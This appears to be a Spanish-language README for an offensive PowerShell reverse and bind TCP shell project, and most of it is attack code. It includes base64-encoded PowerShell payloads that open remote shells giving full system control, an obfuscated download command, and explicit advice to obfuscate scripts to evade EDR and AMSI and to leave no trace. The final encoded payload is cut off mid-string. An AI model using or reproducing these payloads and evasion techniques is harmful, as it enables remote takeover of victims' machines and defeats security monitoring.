powershell-reverse-tcp

# PowerShell Reverse TCP

Scripts de PowerShell para comunicarse con un host remoto.

El host remoto tendrá control total sobre el cliente y todos los comandos del sistema subyacente.

Consulta los shells basados en:

* comando Invoke-Expression de PowerShell [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/invoke_expression),
* tuberías de proceso [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/process_pipes).

Probado con PowerShell v5.1.19041.2673 en Windows 10 Enterprise OS (64-bit).

Creado con fines educativos. ¡Espero que sea de ayuda!

**Este repositorio ha empezado a tener firmas conocidas y no tengo tiempo para subir nuevos scripts cada vez, por lo que deberías ofuscar estos scripts tú mismo.**

Planes futuros:

* más shells basados en tuberías de proceso, y optimizarlos aún más.

## Tabla de Contenidos

* [Cómo Ejecutar](#how-to-run)
* [Ofuscar Scripts de PowerShell](#obfuscate-powerShell-scripts)
	* [Comando Codificado de PowerShell](#powershell-encoded-command)
	* [SecureString](#securestring)
* [Bypass de AMSI](#amsi-bypass)
* [Integración con MS Word](#ms-word-integration)
* [Configurar un Listener](#set-up-a-listener)
* [Tiempo de Ejecución](#runtime)

## Cómo Ejecutar

**Cambia la dirección IP y el número de puerto dentro de los scripts según sea necesario.**

Abre PowerShell desde [\\src\\invoke_expression\\original\\](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/invoke_expression/original) o [\\src\\process_pipes\\original\\](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/process_pipes/original) y ejecuta los comandos que se muestran a continuación.

Establece la directiva de ejecución:```pwsh
Set-ExecutionPolicy Unrestricted
```
Ejecuta el script:```pwsh
.\powershell_reverse_tcp.ps1
```
O, ejecute el siguiente comando desde PowerShell o Command Prompt:```pwsh
PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
```
## Ofuscar Scripts de PowerShell

Intente evadir el EDR y otros mecanismos de seguridad ofuscando sus scripts. Puede ver dichas ofuscaciones en los ejemplos siguientes.

Comando original de PowerShell:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)
```
Comando de PowerShell ofuscado:```pwsh
& (`G`C`M *ke-E*) '(& (`G`C`M *ew-O*) `N`E`T`.`W`E`B`C`L`I`E`N`T)."`D`O`W`N`L`O`A`D`F`I`L`E"($url, $out)'
```
**Consulta el script original de PowerShell [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) y el completamente ofuscado [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**

Después de la [ofuscación manual](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1), el script original de PowerShell fue ofuscado con [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). ¡Créditos al autor!

Busca en Internet técnicas y métodos de ofuscación adicionales.

P.D. Debido a que PowerShell se actualiza constantemente, algunas expresiones regulares (p. ej. `*ke-E*`) pueden comenzar a lanzar excepciones debido a que múltiples métodos coinciden con la misma expresión, por lo que será necesario especificar las expresiones un poco mejor.

### Comando Codificado de PowerShell

Para generar un comando codificado de PowerShell a partir de un script de PowerShell, ejecuta el siguiente comando de PowerShell:```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))
```
Para decodificar un comando codificado de PowerShell, ejecuta el siguiente comando de PowerShell:```pwsh
[Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))
```
Utilice las líneas de comando a continuación si no desea dejar ningún rastro.

---

**\[Reverse TCP - Invoke-Expression\]** Para pasar parámetros al comando codificado de PowerShell, ejecute el siguiente comando desde PowerShell o el Símbolo del sistema:```pwsh
PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAAgAD0AIAAkACgAUgBlAGEAZAAtAEgAbwBzAHQAIAAtAFAAcgBvAG0AcAB0ACAAIgBFAG4AdABlAHIAIABwAG8AcgB0ACAAbgB1AG0AYgBlAHIAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgAGkAZgAgACgAJABhAC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADEAIAAtAG8AcgAgACQAcAAuAEwAZQBuAGcAdABoACAALQBsAHQAIAAxACkAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBvAHQAaAAgAHAAYQByAGEAbQBlAHQAZQByAHMAIABhAHIAZQAgAHIAZQBxAHUAaQByAGUAZAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAUgBlAHYAZQByAHMAZQAgAFQAQwBQACAAdgA0AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuAGAAbgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAYwAgAD0AIAAkAHMAIAA9ACAAJABiACAAPQAgACQAdwAgAD0AIAAkAGQAIAA9ACAAJAByACAAPQAgACQAbgB1AGwAbAA7ACAAdAByAHkAIAB7ACAAJABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAoACQAYQAsACAAJABwACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALAAgADEAMAAyADQAKQA7ACAAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAIAA9ACAAJAB0AHIAdQBlADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuACIAOwAgACQAYgB5ACAAPQAgADAAOwAgAGQAbwAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAiAFAAUwA+ACIAKQA7ACAAZABvACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAGQAIAArAD0AIAAkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsACAAMAAsACAAJABiAHkAKQA7ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAcwAuAEQAYQB0AGEAQQB2AGEAaQBsAGEAYgBsAGUAKQA7ACAAaQBmACAAKAAkAGIAeQAgAC0AZwB0ACAAMAApACAAewAgACQAZAAgAD0AIAAkAGQALgBUAHIAaQBtACgAKQA7ACAAaQBmACAAKAAkAGQALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApACAAewAgAHQAcgB5ACAAewAgACQAcgAgAD0AIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwAgAH0AIABjAGEAdABjAGgAIAB7ACAAJAByACAAPQAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIABpAGYAIAAoACQAcgAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJAB3AC4AVwByAGkAdABlACgAJAByACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHIAOwAgAH0AIAB9ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAdwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJAB3AC4AQwBsAG8AcwBlACgAKQA7ACAAJAB3AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHcAOwAgAH0AIABpAGYAIAAoACQAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJAByACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAByADsAIAB9ACAAaQBmACAAKAAkAGQAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwADsA
```
El script codificado solicitará entrada. Vea el script ligeramente modificado [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/powershell_reverse_tcp_prompt.ps1) - se usó el script [minified](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1) para reducir la longitud del comando.

**\[Reverse TCP - Process Pipes\]** Para pasar parámetros al comando codificado de PowerShell, ejecute el siguiente comando desde PowerShell o el Símbolo del sistema:```pwsh
PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAB0ACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAGEALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQAgAC0AbwByACAAJABwAHQALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAbwB0AGgAIABwAGEAcgBhAG0AZQB0AGUAcgBzACAAYQByAGUAIAByAGUAcQB1AGkAcgBlAGQAIgA7ACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUABvAHcAZQByAFMAaABlAGwAbAAgAFIAZQB2AGUAcgBzAGUAIABUAEMAUAAgAHYANAAuADAAIABiAHkAIABJAHYAYQBuACAAUwBpAG4AYwBlAGsALgBgAG4ARwBpAHQASAB1AGIAIAByAGUAcABvAHMAaQB0AG8AcgB5ACAAYQB0ACAAZwBpAHQAaAB1AGIALgBjAG8AbQAvAGkAdgBhAG4ALQBzAGkAbgBjAGUAawAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALQByAGUAdgBlAHIAcwBlAC0AdABjAHAALgAiADsAIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABwACAAPQAgACQAZQAgAD0AIAAkAG8AIAA9ACAAJABlAGUAIAA9ACAAJABvAGUAIAA9ACAAJABuAHUAbABsADsAIAB0AHIAeQAgAHsAIAAkAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0ACgAJABhACwAIAAkAHAAdAApADsAIAAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAIAAkAHMALgBSAGUAYQBkAFQAaQBtAGUAbwB1AHQAIAA9ACAANQA7ACAAJABiACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABCAHkAdABlAFsAXQAgADEAMAAyADQAOwAgACQAdwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHMALAAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACwAIAAxADAAMgA0ACkAOwAgACQAdwAuAEEAdQB0AG8ARgBsAHUAcwBoACAAPQAgACQAdAByAHUAZQA7ACAAJABwACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzADsAIAAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsACIAOwAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3ACAAPQAgACQAdAByAHUAZQA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIAA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQBdADoAOgBIAGkAZABkAGUAbgA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQARQByAHIAbwByACAAPQAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAAgAD0AIAAkAHQAcgB1AGUAOwAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4ARQByAHIAbwByAEQAaQBhAGwAbwBnACAAPQAgACQAZgBhAGwAcwBlADsAIAAkAHAALgBFAG4AYQBiAGwAZQBSAGEAaQBzAGkAbgBnAEUAdgBlAG4AdABzACAAPQAgACQAZgBhAGwAcwBlADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAG8AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAHMAYgAgAD0AIAB7ACAAaQBmACAAKAAkAEUAdgBlAG4AdABBAHIAZwBzAC4ARABhAHQAYQAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJABFAHYAZQBuAHQALgBNAGUAcwBzAGEAZwBlAEQAYQB0AGEALgBBAHAAcABlAG4AZABMAGkAbgBlACgAJABFAHYAZQBuAHQAQQByAGcAcwAuAEQAYQB0AGEAKQA7ACAAfQAgAH0AOwAgACQAZQBlACAAPQAgAFIAZQBnAGkAcwB0AGUAcgAtAE8AYgBqAGUAYwB0AEUAdgBlAG4AdAAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJABwACAALQBFAHYAZQBuAHQATgBhAG0AZQAgACIARQByAHIAbwByAEQAYQB0AGEAUgBlAGMAZQBpAHYAZQBkACIAIAAtAEEAYwB0AGkAbwBuACAAJABzAGIAIAAtAE0AZQBzAHMAYQBnAGUARABhAHQAYQAgACQAZQA7ACAAJABvAGUAIAA9ACAAUgBlAGcAaQBzAHQAZQByAC0ATwBiAGoAZQBjAHQARQB2AGUAbgB0ACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHAAIAAtAEUAdgBlAG4AdABOAGEAbQBlACAAIgBPAHUAdABwAHUAdABEAGEAdABhAFIAZQBjAGUAaQB2AGUAZAAiACAALQBBAGMAdABpAG8AbgAgACQAcwBiACAALQBNAGUAcwBzAGEAZwBlAEQAYQB0AGEAIAAkAG8AOwAgACQAcAAuAFMAdABhAHIAdAAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsADsAIAAkAHAALgBCAGUAZwBpAG4ARQByAHIAbwByAFIAZQBhAGQATABpAG4AZQAoACkAOwAgACQAcAAuAEIAZQBnAGkAbgBPAHUAdABwAHUAdABSAGUAYQBkAEwAaQBuAGUAKAApADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuACIAOwAgAHcAaABpAGwAZQAgACgAIQAkAHAALgBIAGEAcwBFAHgAaQB0AGUAZAApACAAewAgAHQAcgB5ACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHAALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AC4AVwByAGkAdABlACgAJABiACwAIAAwACwAIAAkAGIAeQApADsAIAB9ACAAZQBsAHMAZQAgAHsAIABiAHIAZQBhAGsAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAE0AZQB0AGgAbwBkAEkAbgB2AG8AYwBhAHQAaQBvAG4ARQB4AGMAZQBwAHQAaQBvAG4AXQAgAHsAfQAgAGkAZgAgACgAJABlAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAkAG8ALgBUAG8AUwB0AHIAaQBuAGcAKAApACkAOwAgACQAbwAuAGMAbABlAGEAcgAoACkAOwAgAH0AIABpAGYAIAAoACQAbwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJAB3AC4AVwByAGkAdABlACgAJABvAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAIAAkAG8ALgBjAGwAZQBhAHIAKAApADsAIAB9ACAAfQAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAZQBlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABVAG4AcgBlAGcAaQBzAHQAZQByAC0ARQB2AGUAbgB0ACAALQBTAG8AdQByAGMAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAJABlAGUALgBOAGEAbQBlADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlAGUAOwAgAH0AIABpAGYAIAAoACQAbwBlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABVAG4AcgBlAGcAaQBzAHQAZQByAC0ARQB2AGUAbgB0ACAALQBTAG8AdQByAGMAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAJABvAGUALgBOAGEAbQBlADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABvAGUAOwAgAH0AIABpAGYAIAAoACQAcAAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABwAC4AQwBsAG8AcwBlACgAKQA7ACAAJABwAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHAAOwAgAH0AIABpAGYAIAAoACQAdwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJAB3AC4AQwBsAG8AcwBlACgAKQA7ACAAJAB3AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHcAOwAgAH0AIABpAGYAIAAoACQAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJABlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGUALgBDAGwAZQBhAHIAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlADsAIAB9ACAAaQBmACAAKAAkAG8AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAbwAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAG8AOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwAHQAOwA=
```
El script codificado solicitará entrada. Vea el script ligeramente alterado [here](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/process_pipes/prompt/powershell_reverse_tcp_prompt.ps1) - se utilizó el script [minified](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/process_pipes/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1) para reducir la longitud del comando.

---

**\[Bind TCP - Invoke-Expression\]** Para pasar parámetros al comando codificado de PowerShell, ejecute el siguiente comando desde PowerShell o Command Prompt:```pwsh
PowerShell -Command "'9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABwACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAHAALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFAAbwByAHQAIABuAHUAbQBiAGUAcgAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAQgBpAG4AZAAgAFQAQwBQACAAdgA0AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuAGAAbgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAbAAgAD0AIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABkACAAPQAgACQAcgAgAD0AIAAkAG4AdQBsAGwAOwAgAHQAcgB5ACAAewAgACQAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAATABpAHMAdABlAG4AZQByACgAIgAwAC4AMAAuADAALgAwACIALAAgACQAcAApADsAIAAkAGwALgBTAHQAYQByAHQAKAApADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuAGAAbgBXAGEAaQB0AGkAbgBnACAAZgBvAHIAIABjAGwAaQBlAG4AdAAgAHQAbwAgAGMAbwBuAG4AZQBjAHQALgAuAC4AYABuACIAOwAgAGQAbwAgAHsAIABpAGYAIAAoACQAbAAuAFAAZQBuAGQAaQBuAGcAKAApACkAIAB7ACAAJABjACAAPQAgACQAbAAuAEEAYwBjAGUAcAB0AFQAYwBwAEMAbABpAGUAbgB0ACgAKQA7ACAAfQAgAGUAbABzAGUAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADUAMAAwADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABjACAALQBlAHEAIAAkAG4AdQBsAGwAKQA7ACAAJABsAC4AUwB0AG8AcAAoACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACA